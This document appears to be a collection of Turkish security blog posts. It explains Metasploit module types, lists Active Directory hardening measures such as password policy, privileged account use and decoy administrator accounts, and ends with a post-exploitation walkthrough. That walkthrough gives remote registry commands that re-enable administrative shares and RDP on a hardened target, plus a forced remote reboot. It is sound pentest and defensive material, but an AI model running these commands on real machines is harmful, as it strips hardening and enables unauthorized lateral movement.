Auxiliary modüller, önce işlevine göre (admin, dos, fuzzers, gather, scanner gibi) sonra da servisine (portscan, smb gibi) göre çeşitli alt dizinlere ayrılmıştır. 


2.3.3) Payload’lar
Exploit sonrasında (zafiyet sömürüldükten sonra), ana çatı (framework) tarafından hedef sisteme gönderilen (uzak makinede çalışan), hedef sisteme sızmayı sağlayan ve istenilen işlemleri gerçekleştirmek için çalıştırılması istenen kod parçasıdır. Örneğin, bir servisin açığından faydalanarak sistemde kullanıcı oluşturulması, SYSTEM veya root hakları ile kabuk erişimi elde edilmesi, arka kapı açılması gibi işlemler payloadların kullanılması ile gerçekleştirilir. Veya hedef makine ile bağlantının gerçekleşmesi payloadlar ile gerçekleşir. Reverse shell (hedef makinenin, saldırganın makinesine bağlantı kurmasını sağlar), bind shell (saldırganın daha sonra bağlanması için, hedef sistemin dinlediği porta komut satırı bağlantısı (bind) kurulur) bağlantıyı kuran bazı payload çeşitleridir.


Başlıca özellikleri aşağıdaki gibidir:
  • Payloadlar diğer modüllerden farklı olarak çalışma anında çeşitli bileşenlerin beraber çalışmasıyla oluşurlar.
  • Payload genellikle assembly dili kullanılarak geliştirilir. 
  • Payload platform ve işletim sistemi bağımlıdır; Windows işletim sistemi için geliştirilen bir payload Linux işletim sistemleri için çalışmayabilir. Bunun yanında Windows 7 için hazırlanan bir payload Windows 8’de, 64 bit için hazırlanan bir payload 32 bit mimaride, SP1 için hazırlanan ise SP2’de çalışmayabilir.
Zafiyet, exploit ve payload ilişkisi için aşağıdaki resim kullanılabilir.


Zafiyet, exploit ve payload kavramlarını anlatmak için şu örnek kullanılabilir:
  • Zafiyet (İnsan): İnsanın karşısındakine inanması, daha çok getiri elde etme düşüncesi (hırsı) birer zafiyettir.
  • Exploit (Sosyal Mühendislik): İnsandaki bu zafiyeti kullanarak sosyal mühendislik teknikleri ile istismar etmektir.
  • Payload (Hesabı Kullanma): İnsani zafiyetlerin sömürülmesi sonucunda gerçekleştirilen eylemlerin (EFT yapma, parayı çekme, hesabı bloke etme, …) her biridir.
Daha teknik olarak da “Vulnerability in Server Service Could Allow Remote Code Execution (958644)” bir zafiyet, Metasploit ana çatısındaki “exploit/windows/smb/ms08_067_netapi” bir exploit, meterpreter kabuğunun elde edilmesi ise bir payload olarak tanmlanabilir.

2.3.4) Encoder’lar
Eploit ve payloadların hedef sistemde çalışan mekanizmalar (Antivirüs, IPS/IDS, FW vs) tarafından yakalanmaması için farklı bir forma çeviren modüllerdir. İmza tabanlı sistemlerin atlatılaran hedef sistemin ele geçirilmesine yardımcı olurlar.


2.3.5) NOP’lar
Payload’un kalıcı olmasını sağlayarak hedef sistemi ele geçirme ihtimalini arttırmak için NOP komutları oluşturan modüllerdir. Bu komutlar her hangi bir işlem gerçekleştirmezler, sadece çalıştırılması istenen kodun bellekteki yerine kadar belleği dolduran boş (\00) bitlerdir.

2.3.6) Post Modüller
Sisteme sızıldıktan ve erişim elde edildikten (örneğin, meterpreter oturumu elde edildikten) sonra gerçekleştirilen işlemleri yerine getirmekle görevli program ve betiklerdir. Pivoting işlemleri, parola özetlerinin alınması, sistem bilgilerinin alınması bir sisteme sızıldıktan sonra gerçekleştirilen işlemlerden bazılarıdır.



Kaynak:
http://www.offensive-security.com/metasploit-unleashed/Introduction

8 Mart 2014 Cumartesi

Etki Alanı Saldırılarından Korunma Yolları: Diğer Güvenlik Önlemleri

Etki Alanı Saldırılarından Korunma Yolları: Diğer Güvenlik Önlemleri


Etki alanı sızma testlerinden ve etki alanında gerçekleştirilebilecek saldırılardan korunmak için birçok önlem bulunmaktadır. Bu önlemlerden bazıları şu şekildedir:
a) Kaba kuvvet saldırılarından korunmak için parola ilkesi uygun şekilde ayarlanmalıdır. Bu amaçla karmaşık, uzun, sık sık güncellenen, birbirini tekrar etmeyen parolaların kullanılması sağlanmalıdır. Kritik kullanıcılar için özel parola politikaları belirlenmelidir. Bu amaçla gölge (shadow) gruplar oluşturularak bu gruplara Fine-Grained Parola Politikaları uygulanabilir. 
b) Kullanıcıların bilgisayarlarında yönetici olarak oturum açmaması sağlanmalıdır. Yönetici hakkı ile gerçekleştirilmesi gereken işlemler özel bir grup (yardım masası gibi) tarafından gerçekleştirilmeli ve gerekli işlemler gerçekleştirildikten sonra bilgisayar yeniden başlatılmalıdır. 
c) En az yetki prensibi doğrultusunda, yerel bilgisayarlardaki ve etki alanındaki kullanıcılara sadece görevleri doğrultusunda haklar verilmelidir. Kısa süreli olarak gerekli olan haklar ise, takip edilmeli ve denetlenmelidir; işlem bittikten sonra bu haklar geri alınmalıdır. Özellikle antivirüs, DLP gibi ajanlarla çalışan sistemler etki alanındaki kritik kullanıcıların hakları ile çalıştırılmamalı, özel olarak oluşturulmuş ve yetkilendirme yapılmış servis hesapları ile çalıştırılmalıdır. Kritik hesap yetkileri ile çalıştırılması durumunda, ilgili makinede yönetici yetkisi olan bir kullanıcı saldırı araçları ile o hesabın jetonu (token) alarak veya prosesine sıçrayarak etki alanında yönetici durumuna geçebilir ve kendisine Domain Admins veya Enterprise Admins gruplarına üye olan bir kullanıcı oluşturabilir (alarm oluşturulmamışsa bu durumdan haberdar olunmaz). En az yetki prensibinin bir tarafı da yetkinin uygulandığı alan olarak düşünülebilir. Özellikle kritik işlemler için, işlemi yapan kullanıcının yetkisinin sınırlı olması yetmez, yetkinin kullanıldığı sistemin (bilgisayarın) da sınırlı yetkilendirmeye sahip bir bilgisayar olması tavsiye edilmektedir. Şöyle ki, yardım masası gibi belli yetkileri olan kullanıcıların, RDP veya bazı sistemler kullanarak kurum personelinin bilgisayarına eriştiği makinenin (kurumsal görevi için kullandığı makinenin), günlük işlemler için kullandığı makine haricinde olması, mümkinse de bir sanal makine veya uzak makine olması güvenliği bir kat daha arttıracaktır. 
d) Linkedin, Hotmail, Facebook gibi sitelerdeki üyelerin parolaları veya parolaların özetlerinin saldırganlar tarafından ele geçirildiği sık sık gündeme gelmektedir. Bu sebeple etki alanındaki (özellikle kritik sistemlere erişen) personelin oturum açmak için ve kurum içindeki sistemlere bağlantı için kullandıkları parolalarını, kurum dışındaki sistemlerde (bloglar, sosyal paylaşım siteleri, haber siteleri vs) kullanmamaları önerilmelidir. Ayrıca parolalarının da bu sitelerdeki parolalarıyla benzer olmaması - tahmin edilebilir olmaması - da tavsiye edilmektedir. 
e) Kurumdaki personelin kurum ile ilgili parolalarını açık olarak saklamamaları, parola saklama programları veya en azından MS Ofis programları içerisinde şifreli olarak saklamaları tavsiye edilmektedir. Sızma testi adımlarında bahsi geçen "Araştırma" adımında bazı anahtar kelimelere göre (parola, şifre, password, root, admin vs) bilgisayarlar taranarak parola dosyaları arandığı göz önüne alındığında, parolaların saklandığı dosyaların adının kolay tahmin edilebilir olmaması ek güvenlik sağlayacaktır. Parola güvenliği ile ilgili bir yazı Bilgi Güvenliği Kapısı'nda yayınlanmıştır. 
f) Bilgisayarlardaki güvenlik duvarları, UAC gibi güvenlik sistemleri etkin olmalıdır. Hak yükseltme işlemleri sırasında işletim sistemi tarafından yönetici onay modunun etkinleştirilmesi tavsiye edilmektedir. Konu ile ilgili bir yazı Bilgi Güvenliği Kapısı'nda yayınlanmıştır. 
g) Bilgisayarlar veya paylaşımlar üzerinde kritik bilgiler bulunmamalıdır. Bu kritik bilgilerden bazıları aşağıdaki gibidir:
  • Şifresiz olarak saklanan kritik bilgiler (özellikle kritik kullanıcılara ait parola ve kritik sunuculara ait IP veya oturum bilgileri)
  • Zamanlanmış görevler veya özel operasyonlar için kullanılan betikler içerisinde kullanıcı hesabı ve sistem bilgileri
  • Kritik sistemlere bağlantı için kullanılan ve oturum bilgileri içerisinde kayıtlı olan RDP, SSH veya FTP bağlantı dosyaları
h) Etki alanı denetleyicisi (DC) gibi kritik sunuculara uzaktan erişimler (RDP,SSH, FTP,... vs.) engellenmelidir. Kritik sunuculara fiziksel güvenlik önlemlerinin alındığı ortamlardan erişilebilmelidir. Bu önlemin mümkün olmadığı durumlarda sadece belli adreslerden uzak bağlantı yapılmasına izin verilmelidir. Bunun yanı sıra güvenliğin yeteri kadar sağlanamadığı ortamlara etki alanı denetleyicisi kurulması gerekiyorsa RODC sunucularının kullanılması tavsiye edilmektedir. RODC ile iligli ayrıntılı bir yazı Bilgi Güvenliği Kapısı'nda yayınlanmıştır. 
i) Gerçekleştirilecek her güvenlik önlemi iyi planlanmalı, test edilmeli, daha sonra uygulanmalıdır. Gerçekleştirilen önlemler öncesinde ve sonrasında denetlenmelidir. 
j) Farklı etki alanlarına sahip kurumlarda, sızılan bir etki alanından diğer etki alanlarına erişilememesi için, her etki alanı diğer etki alanları ile olabildiğince soyutlanmalıdır. Bu amaça boş kök etki alanı (empty root domain) kullanılabilir. Ayrıca, kök etki alanında bulunan kritik gruplardaki (Enterprise Admins) kullanıcılar, alt etki alanlarında oturum açmamalıdır. Bunun yanında etki alanları arasında kurulan güven ilişkilerinde (trust relationship); ilişkinin geçişliliği, yönü ve türü konularına dikkat edilmeli, seçmeli kimlimlik doğrulama (selective authentication) kullanılmalıdır. Böylece saldırı yüzeyi daraltılmaktadır. 
k) DMZ içerisindeki sunucular tekil (stand-alone) olarak çalışmalı veya kuruma ait etki alanı dışında ayrı bir etki alanı ile yönetilmelidir. Ayrı olarak oluşturulacak yeni etki alanının, kurum etki alanıyla ilişkisi bulunmamalıdır. İki farklı etki alanının yöneten sistem yöneticileri farklı olmalı veya farklı/benzer olmayan hesap bilgileri kullanmalıdırlar. 
l) Sızma testleri ve etki alanı saldırıları sırasında etki alanındaki hesapların ve kurumda bulunan bilgisayarlardaki yerel hesapların parolaları açık olarak ve özet halinde elde edilebilmektedir. Bu sebeple bir saldırı durumunda veya etki alanı sızma testinden sonra, bilgisayarlardaki yerel kullanıcıların (local users) ve etki alanındaki kullanıcıların (domain users) parolaları değiştirilmelidir. Etki alanındaki kullanıcıların parolalarını değiştimeleri için grup ilkeleri ile değişikliğin gerçekleştirilmesi beklenebilir, ancak kritik sistemlere (veritabanı, aktif cihaz gibi) erişimi olan veya kurum için kritik varlıklara (müşteri bilgileri gibi) erişimi olan personelin parolalarını derhal değiştirmeleri tavsiye edilmektedir. Benzer şekilde kritik makinelerdeki yerel kullanıcıların parolaları değiştirilmeli,  yerel yönetici parolaları birbirinden farklı olarak ayarlanmalıdır.
Not: Etki alanı sızma testlerinden önce (ve saldırının her an olabileceği düşüncesi ile belli periyotlarla) kritik sistemlere ait yedeklerin alınması ve güvenilir şekilde korunması tavsiye edilmektedir. Bir problem durumunda gerçekleştirilecek işlemler için de acil eylem planlarının hazır olması tavsiye edilmektedir. 
m) Kimlik doğrulamasını etki alanı denetleyicilerine sorgulatan ara sistemlerden (örneğin, Exchange Server 2010 için CAS rolüne sahip sunuculardan) personelin parolaları, bazı proseslerden açık olarak alınabilmektedir. Bu durum kurumda bir takım iyileştirmeler için de kullanılabilir. Örneğin;
  • İç eğitimlerde kullanılabilir. Personele, özel hayatında kullandığı parolalara benzer parolalar kullanmaması gerektiği belirtilebilir. Özellikle kritik sistemlere ve verilere erişimi olan personelin parolalarını farklı oluşturmaları sağlanmalıdır.
  • Denetimlerde kullanılabilir. Bu sunuculardaki proseslerinin dump'ının alınması da dahil olmak üzere, belirli nesnelere erişimlere erişimleri kayıtları alınmalı ve bu kayıtlar güçler ayrılığı prensibine uygun olacak şekilde (Güvenlik Birimi gibi sistemin yöneticileri haricinde bir grup tarafından) denetlenmelidir.
  • Sıkılaştırmalarda kullanılabilir. Elde edilen parolalar kullanılarak, personelin kullandığı parolaların güçlü olup olmadığı incelenebilir. Kolay parola kullanan, kaba kuvvet saldırıları ile parolası tespit edilebilecek personel uyarılmalıdır.
n) Microsoft, sistemin sürekliliğinin sağlanması için önbelleğe alınmış kimlik bilgileri (cached credentials) kullanmaktadır. Bu bilgiler sayesinde etki alanı denetleyicisine erişim sağlanamadan etki alanı hesabı ile oturum açılabilmekte ve bazı sistemlere erişim sağlanabilmektedir. Ancak bu durum saldırganlar tarafından kötüye kullanılabilmektedir. Bilgisayarı ele geçiren ve kaba kuvvet saldırısı gerçekleştiren saldırgan - hesap kilitleme, loglanma, parola kırma gibi dertleri olmadan - kullanıcıya ait kimlik bilgilerini ele geçirebilir. Bu sebeple özellikle kritik kullanıcıların son oturumlarına ait bilgilerinin bilgisayar üzerinde saklanmaması tavsiye edilmektedir. 
o) Sızma testleri sırasında, sızma testlerini gerçekleştiren kullanıcılara ve bu kullanıcıların bilgisayarlarına verilen tüm yetkilerin geri alınması unutulmamalıdır. Ayrıca sızma testlerini gerçekleştiren personelin, test sırasında oluşturduğu tüm kullanıcılar ve gerçekleştirdikleri tüm değişiklikler geri alınmalıdır. 
p) Gerçekleştirilecek teknik önlemler haricinde iki temel noktaya daha dikkat çekilmesinde fayda bulunmaktadır.
  • Kurumda çalışan personel belki de kurum için en zayıf halka niteliğindedir. Nasıl ki bir zincir en zayıf halkası kadar güçlü ise, bir kurumun güvenliği de en zayıf bileşeni kadar güvenilir sayılır. Bu sebeple kurum personeline gerekli güvenlik eğitimlerinin verildiğine ve bilinçlenmenin sağlandığına emin olunmalıdır. Yeni işe başlayan veya teknik işlerde çalışmayan personel de dahil olmak üzere uygun seviyede bilinçlendirme eğitimleri düzenlenmeli, bu eğitimler ölçülmeli, iyileştirilmeli ve sürekliliği sağlanmalıdır. Özellikle sosyal mühendislik saldırılarına karşı bilinçlendirme sağlanmalıdır.
  • Belki de en önemli önlem: Üst Yönetim Desteği. Etki alanı saldırılarına karşı teknik operasyonların uygulanması ve sürekliliğin sağlanması oldukça önemli konulardır. Ancak gerçekleştirilen bu önlemler kurum personelinin tepkisine yol açabilecektir. Örneğin; personelin parolasını en az 8 karakter olarak oluşturmak zorunda olması, bilgisayarlarında yerel yönetici haklarına sahip olan personelden bu hakların alınması,... gibi durumlarda karşılaşılabilecek tepkilere karşı üst yönetim maddi ve manevi destekten kaçınmamalıdır. Böylece sadece kurum bilgisi ve imajı korunmayacak, ayrıca ülkeyi zor durumda bırakacak durumlara karşı da tedbir alınmış olunacaktır.

Etki Alanı Saldırılarından Korunma Yolları: Kritik Hesapların Kullanımı

Etki Alanı Saldırılarından Korunma Yolları: Kritik Hesapların Kullanımı

Etki alanı sızma testlerinde gerçekleştirilen adımlardan birisi de araştırma adımıdır. Bu adımla ilgili ayrıntılı bilgi için bakınız:
http://ertugrulbasaranoglu.blogspot.com.tr/2013/10/ipucu-yuksek-yetkili-kullanc-haklarnn.html 
http://ertugrulbasaranoglu.blogspot.com.tr/2013/10/ipucu-domainde-yetkili-kullancnn.html
Araştırma adımında, oturum açılan bilgisayarlarda kritik kullanıcılara ait bilgilerin elde edilememesi sağlanmalıdır. Bu amaçla, etki alanındaki kritik hesaplar uygun şekilde kullanılmalıdır.
Kritik hesaba sahip kullanıcıların iki ayrı hesabı bulunmalıdır: Etki alanında yönetimsel operasyonlar için kullanılan yetkili kullanıcı hesabı ve bu kritik hesaba sahip yöneticinin günlük işlemlerini gerçekleştirdiği yetkisiz kullanıcı hesabı. Kritik hesapların kullanımı için, en az aşağıdaki önlemlerin uygulanması gerekmektedir.
a) Yetkili hesap ile DC hariç hiçbir bilgisayarda oturum açılmamalıdır. Açılmış oturum varsa, bu oturumlar kapatılmalıdır. Gerekiyorsa etki alanındaki kritik kullanıcıların istemci makinelerde ve DMZ ağındaki bazı sunucular olmak üzere bu hesapların oturum açması gerekmeyen sunucularda oturum açamayacakları şekilde grup ilkeleri düzenlenmelidir. Etki alanında kritik olan gruplar yerine, yardım masası veya destek grupları gibi grupların bu sistemlerde oturum açıp, bakım yapabilmesine izin verilmelidir. İzin verilen bu kullanıcıların da yetkilerinin iyi sınırlandırılmış olması, sadece gerekli izinlerin verildiğinden emin olunması gerekir. Günümüzde sızma testlerinde açık bırakılmış oturumdaki parola bilgilerini RAM’den elde edebilen ve parolaları açık olarak sunan uygulamalar (WCE, Mimikatz gibi) kullanılmaktadır. Bu uygulamalar hakkında ayrıntılı bilgi için Bellekten Parolaların Elde Edilmesi - 1 ve Bellekten Parolaların Elde Edilmesi - 2 yazıları incelenebilir. Bu uygulamalardan korunmak için çeşitli yöntemler vardır. En önemli önlem ise kritik hesaplarla oturum açıldıktan sonra bilgisayarın yeniden başlatılmasıdır. Diğer güvenlik önlemleri için bakınız: Bellekten Parolaların Elde Edilmesi - 3 
b) Sızma testlerinde, ele geçirilen bilgisayarlar üzerinde kritik kullanıcı hesabı ile başlatılmış prosesler tespit edilerek, o proseslere atlandığı “araştırma” adımında görülmüştü. Bu sebeple etki alanında kritik olan hesaplar ile DC haricinde hiçbir bilgisayarda proses başlatılmamalıdır. Başlatılmış proses varsa, bu prosesler sonlandırılmalıdır. Proseslerin sonlandırılmasının yanında, bilgisayarın yeniden başlatılması tavsiye edilmektedir. 
c) Yetkili hesaplar ile etki alanı denetleyicisi (DC) üzerinde açılan oturumda sadece etki alanı yönetimi ile ilgili işlemler gerçekleştirilmelidir. Özel işlemler için yetkisiz olan hesap ve kritik olmayan bir bilgisayar kullanılmalıdır. 
d) Yetkili hesaplarla gerçekleştirilen kritik işlemler sırasında anlık olarak bilgilendirme sağlanabilmesi için alarmlar oluşturulmalıdır. Alarm oluşturulabilecek bazı durumlar aşağıdaki gibidir:
  • Etki alanındaki kritik gruplara kullanıcı ekleme veya kritik gruplardan kullanıcı çıkarma işlemleri
  • Etki alanındaki kritik gruplar veya kullanıcılar üzerinde gerçekleştirilen yetki değiştirme işlemleri
  • Grup politikaları üzerinde gerçekleştirilen güncelleme, yetki devri, yetki değiştirme işlemleri
  • Kritik grupların kapsam (scope) veya tipi (type) üzerindeki değişiklik işlemleri  
e) Yetkili ve yetkisiz kullanıcı hesaplarının adlarının (account name) birbiri ile benzer olmaması gerekmektedir. Böylece etki alanında yönetici konumda olan kişinin bilgisayarının tespiti kısmen de olsa zorlaşır, etki alanı yöneticisine ait bilgisayardan elde edilebilecek kritik bir takım bilgilerin elde edilmesi daha fazla zaman alır. 
f) Bir kullanıcı herhangi bir bilgisayarda ilk kez oturum açtığında bilgisayar üzerinde bazı bilgiler oluşturulmaktadır. Örneğin kayıt defteri (Registry Editor) değerlerinde bazı güncelleştirmeler gerçekleştirilmekte, Windows 7 işletim sisteminde C:\Users altında otomatik olarak bazı dosyalar oluşturulmaktadır. Sızma testleri ve etki alanı saldırılarındaki adımlardan biri olan "Araştırma" adımında otomatik olarak oluşturulan bu bilgiler aranmaktadır. Bu sebeple, kritik kullanıcıların (Domain Admins grubu kullanılmıyorsa Yardım Masası gibi grupların üyeleri kritik grup olarak görülebilir) kendi bilgisayarları haricinde oturum açtığı oturumlar kapatıldığında bu bilgilerin otomatik olarak silinmesi için grup ilkeleri ile betikler kullanılabilir. 

Etki Alanı Saldırılarından Korunma Yolları: İmaj Yapılandırması

Etki Alanı Saldırılarından Korunma Yolları: İmaj Yapılandırması

Etki alanı sızma testlerinde gerçekleştirilen adımlardan birisi de yayılma adımıdır. Bir bilgisayardan yerel yöneticilerinin parolaları alındıktan sonra, aynı kullanıcı bilgilerini kullanan diğer bilgisayarlara giriş yapılmaya çalışılır. Bu amaçla aşağıdaki 2 yazı incelenebilir:
http://ertugrulbasaranoglu.blogspot.com.tr/2013/10/ipucu-smblogin-modulu-ile-yaylabilecek.html
http://ertugrulbasaranoglu.blogspot.com.tr/2013/10/ipucu-psexec-modulu-ile-yeni.html
Bu adımlardan gerçekleştirilmesinin önüne geçilmesi için etki alanındaki bir bilgisayarda bir şekilde elde edilen yerel yönetici kullanıcı parola bilgileri kullanılarak  (özet veya açık halinin) diğer bilgisayarlara erişim sağlanamamalıdır. Bu amaçla, kurum içinde kullanılan imajlar uygun şekilde oluşturulmalı ve özelleştirilerek kullanılmalıdır.
İmaj yapılandırılması için, en az aşağıdaki ayarların uygulanması gerekmektedir.
a) İmajlar güncellenmeli ve en güncel hali ile kullanılması sağlanmalıdır. Sıkılaştırma işlemleri için güvenlik şablonları kullanılabilmektedir. Güvenlik şablonları için aşağıda belirtilen kaynaklar tercih edilebilir:
http://www.bilgiguvenligi.gov.tr/kilavuz-dokumanlar/index.phphttps://benchmarks.cisecurity.org/downloads/multiform/http://web.nvd.nist.gov/view/ncp/repository
b) Etki alanına eklenen bir bilgisayar özel bir OU altına yönlendirilmesi sağlanarak (redircmp aracıyla veya hazırlanabilecek betiklerle) bu bilgisayarlar için özel grup ilkeleri kullanılmalıdır. Böylece etki alanına eklenen bir bilgisayarın otomatik olarak sıkılaştırılması da gerçekleştirilebilir. 
c) İmajlar kullanılarak işletim sistemi kurulurken, sadece gerektiği kadar kullanıcı oluşturulması saldırı yüzeyini azaltacaktır. Yerel yönetici haklarına sahip kullanıcılar oluşturulmamalı veya kontrollü bir şekilde oluşturulmalıdır. 
d) Etki alanı saldırılarından korunma için kullanılan en temel yöntemlerden biri de tuzak kullanıcı oluşturmaktır. Bu amaçla, etki alanında kullanılan yerel ilkede üç adım gerçekleştirilebilir.
  • Bilgisayardaki gömülü (built-in) yerel yönetici kullanıcısı (Administrator) devre dışı bırakılarak, adı “Test” veya “Deneme” gibi şüphe çekmeyecek şekilde güncellenir. Parolası uzun ve karmaşık verilebilir. Bu işlem grup ilkelerindeki Preferences özelliği kullanılarak aşağıdaki gibi gerçekleştirilebilir.
Gömülü Yerel Yönetici Kullanıcı Bilgilerinin Güncellenmesi
  • Gerçek yerel yönetici kullanıcısının kimliği güncellendikten sonra, yerel yönetici olarak kullanıcı adı Administrator, tanımı gömülü yerel yönetici tanımı ile aynı olan ("Built-in account for administering the computer/domain") tuzak bir kullanıcı oluşturulur. Tuzak kullanıcı parolası çok uzun ve karmaşık seçilerek parolanın açık halinin elde edilmesi zorlaştırılabilir. Ayrıca bu kullanıcı devre dışı bırakılarak, saldırganın zaman kaybetmesi sağlanabilir.Bu işlem grup ilkelerindeki Preferences özelliği kullanılarak aşağıdaki gibi gerçekleştirilebilir.
Tuzak Yerel Yönetici Kullanıcısının Oluşturulması
Not: Tuzak kullanıcı yukarıdaki gibi önleyici amaçla kullanılabildiği gibi, tespit amaçlı da kullanılabilir. Bu amaçla, tuzak kullanıcı parolası kolay elde edilebilecek şekilde kısa olarak ayarlanır. Daha sonra bu hesap ile bir kez oturum açılarak hesap etkin olarak bırakılır. Bu hesap ile yapılan işlemlerin denetim kayıtları tutularak bu hesaplar ile yapılan işlemlerden anlık olarak haberdar olunması sağlanabilir. Bu yöntem kullanılırken anlık haberleşme sisteminin etkin şekilde çalıştığından emin olunmalıdır.
  • Son adım olarak da, oluşturulan tuzak kullanıcı Users veya Guests gibi bir gruba üye yapılabilir ve bilgisayar üzerindeki tüm hakları alınır.
 
Oluşturulan Tuzak Yerel Yönetici Kullanıcısının Guests Grubuna Üye Yapılması
Not: Tuzak kullanıcı oluşturma oldukça yaygın kullanılan bir yöntemdir. Bu sebeple sızma testi sırasında deneyimli kişilerce veya saldırı anında deneyimli saldırganlarca kullanıcıların SID değerleri kontrol edilerek tespit edilebilir. Ayrıca tuzak kullanıcı oluşturulurken Preferences üzerinden parola atanması işlemi çok güvenilir bir yöntem değildir. Konu ile ilgili bir sunum için bakınız. Bu sebeple, yerel yönetici parolalarının yönetimi için özelleşmiş uygulamaların veya betiklerin kullanılması tavsiye edilmektedir. 
- Bazı özel uygulamalar ile hem parola değişiklikleri otomatik, birbirinden farklı, rastgele ve periyodik olarak sağlanabilmekte; hem de gerektiği süre boyunca bu parolaların hangi kullanıcı tarafından, hangi amaç için kullanıldığı takip edilebilmektedir. Bu uygulamaların kullanılması yerel kullanıcıların yönetimini kolaylaştıracaktır. 
- Yerel yöneticilerin parolasının verilmesi betikler kullanılarak da gerçekleştirilebilir. Bu amaçla, bilgisayar adının (hostname) özelleştirilerek kullanılması yerel yönetici parolalarının farklılaşmasını sağlamaktadır. Yerel yöneticilerin ve BIOS şifrelerinin otomatik / birbirinden farklı olarak ayarlanması ve merkezi olarak yönetilmesi konusu ile ilgili bir yazı Bilgi Güvenliği Kapısı'nda yayınlanmıştır.

2 Mart 2014 Pazar

Post Exploitation: Yönetimsel Paylaşımların Açılması

Post Exploitation: Yönetimsel Paylaşımların Açılması

Etki alanı saldırılarında Domain Admin olduktan sonra diğer sistemlere (veritabanı, ağ cihazları, sanallaştırma sistemler vs) giriş sağlamak için bu sistemlerin yöneticilerinin bilgisayarları tespit edilir. Örneğin, bir bilgisayarda önemli bir kullanıcının (EaKullanicisi1, Oracle DB yoneticisi, Network Yoneticisi vs) oturum açtığı ve bu bilgisayarın ilgili kişinin istemci bilgisayar olduğu tespit edilir.



Not: Bilgisayarı tespit etmek için KACAK adlı betik hedefe yönelik sonuç alma konusunda oldukça yararlıdır. Bunların haricinde birbirinden daha farklı yöntemler de vardır. Ancak belli kullanıcının oturum açtığı istemci bilgisayarını tespit etme konusu kapsam dışındadır.

Aranılan bilgisayar tespit edildikten sonra bu bilgisayara bağlantı kurulmaya çalışdığında RDP ile bağlanılamamakta ve yönetimsel paylaşımına girilememektedir. Çünkü bu bilgisayar kullanıcısı tarafından sıkılaştırılmış olabilmektedir.


Çünkü bu bilgisayarın yönetimsel paylaşım ve uzak masaüstü bağlantı ayarları aşağıdaki gibidir:
net share
reg query HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v AutoShareWks
reg query HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v AutoShareServer
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections


Mevcut port tarama sonucu şu şekildedir:


Not: Paylaşım portu (445) açıkken, masaüstü erişim portu (3389) kapalıdır. Ancak 445. port açık olmasına (servis çalışmasına) rağmen daha önceki resimde de görüldüğü gibi ynetimsel paylaşımlar (C$ ve Admin$) kapalıdır.

Ancak bu metod etki alanı sızma testlerinde  etki alanı yönetici haklarına sahip olunduktan sonra saldırgan rolündeki kişi tarafından atlatılabilir. Bu bilgisayara erişmek için yönetimsel paylaşımı veya RDP bağlantısı açılması gerekmektedir. Bu işlem Remote Registry Editor (regedit.exe) ile kolaylıkla gerçekleştirilebilir. Eğer birden fazla bilgisayar (veya kullanıcı) söz konusu ise bu işlem zorlaşabilmektedir. Bunun gibi bir durumda ise betikler veya DC üzerindeki Grup İlkeleri kullanılabilir.

1) Remote Registry Editor (regedit.exe) veya Betik ile
smb_enumusers_domain modülünde kullanılan veya hedef istemci bilgisayarda yetkili olan bir hesap ile aşağıdaki komutlar çalıştırılarak ilgili kayıt değerleri değiştirilebilir:
reg add \\192.168.8.143\HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v AutoShareWks /t REG_DWORD /d 1 /f
reg add \\192.168.8.143\HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v AutoShareServer /t REG_DWORD /d 1 /f
reg add "\\192.168.8.143\HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Not: Bu işlemin geçerli olması için istemcideki "Remote Registry" adlı servisi çalışıyor olmalıdır.
Not: Eğer birden fazla bilgisayar için işlem yapmak gerekiyorsa bir betikle her IP değeri için bu işlem gerçekleştirilmelidir.

Bunun yanında görsel olarak da editor üzerinden bu işlem gerçekleştirilebilir. Herhangi bir Windows makinede Registry Editor üzerinde "File > Connect Network Registry" adımları ile istenilen bilgisayara bağlanılabilir.

Daha sonra da istenilen değişiklik gerçekleştirilir.

Not: Yönetimsel paylaşımların etkinliği için gerçekleştirilen değişikliklerin gerçekleşmesi için bilgisayar yeniden başlamalıdır. Yeniden başlama işlemi için yine uzaktan bir komut ile (shutdown /m \\PC1 /f /r /t 0) bilgisayar yeniden başlatılmaya zorlanmalıdır.

Not: Yeniden başlatmaya gerek kalmadan lanmanworkstation ve lanmanserver servisleri durdurulup tekrar başlatılırsa (net stop <ServisAdi> ve net start <ServisAdi>) da ilgili değişiklikler yansıyabilir. Ancak bu durum her zaman geçerli olmayabiliyor. Bu sebeple bilgisayarn yeniden başlatılması daha garanti bir yöntemdir.

Son durumda (kayıt değerleri değiştirildikten ve bilgisayar yeniden başladıktan sonra) istemci üzerinde aşağıdaki komutlar kullanıldığında uygulanan değişikliklerin yansıdığı görülmüştür:
net share
reg query HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v AutoShareWks
reg query HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v AutoShareServer
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections


Böylece yetkili herhangi bir Windows makineden, yönetimsel paylaşımların açıldığı ve uzak masaüstü bağlantısının etkinleştiriği görülmektedir.


2) Grup İlkeleri ile
Kayıt Defteri (veya regedit) ile kayıt değerlerinin değiştirilmesi için Remote Registry adlı servisin başlatılmış olması gerekir. Eğer başlatılmamışsa Grup İlkeleri ile daha önceden gerçekleştirilen aynı işlemler gerçekleştirilebilir.

Bu amaçla ilgili bilgisayarın [(PC1) veya kullanıcının (eakullanicisi1)] bulunduğu OU (sirket.local/Bilgisayarlar/Ankara/Bilgi Islem/Sistem ve Guvenlik/PC1) altındaki grup ilke nesnesi (GPO) kullanılacaktır. Grup ilkesinin ilk hali şu şekildedir:


Grup ilkesi için kayıt değeri aşağıdaki şekilde güncellenir:




Son durumdaki grup ilkesi aşağıdaki gibi olacaktır.


Grup ilke nesnesi güncellendikten sonra ilgili değişiklikler gerçekleşmiştir (Bilgisayarın kendi kendine politikayı alması beklenmemesi için "gpupdate /force" komutu kullanılmıştır)

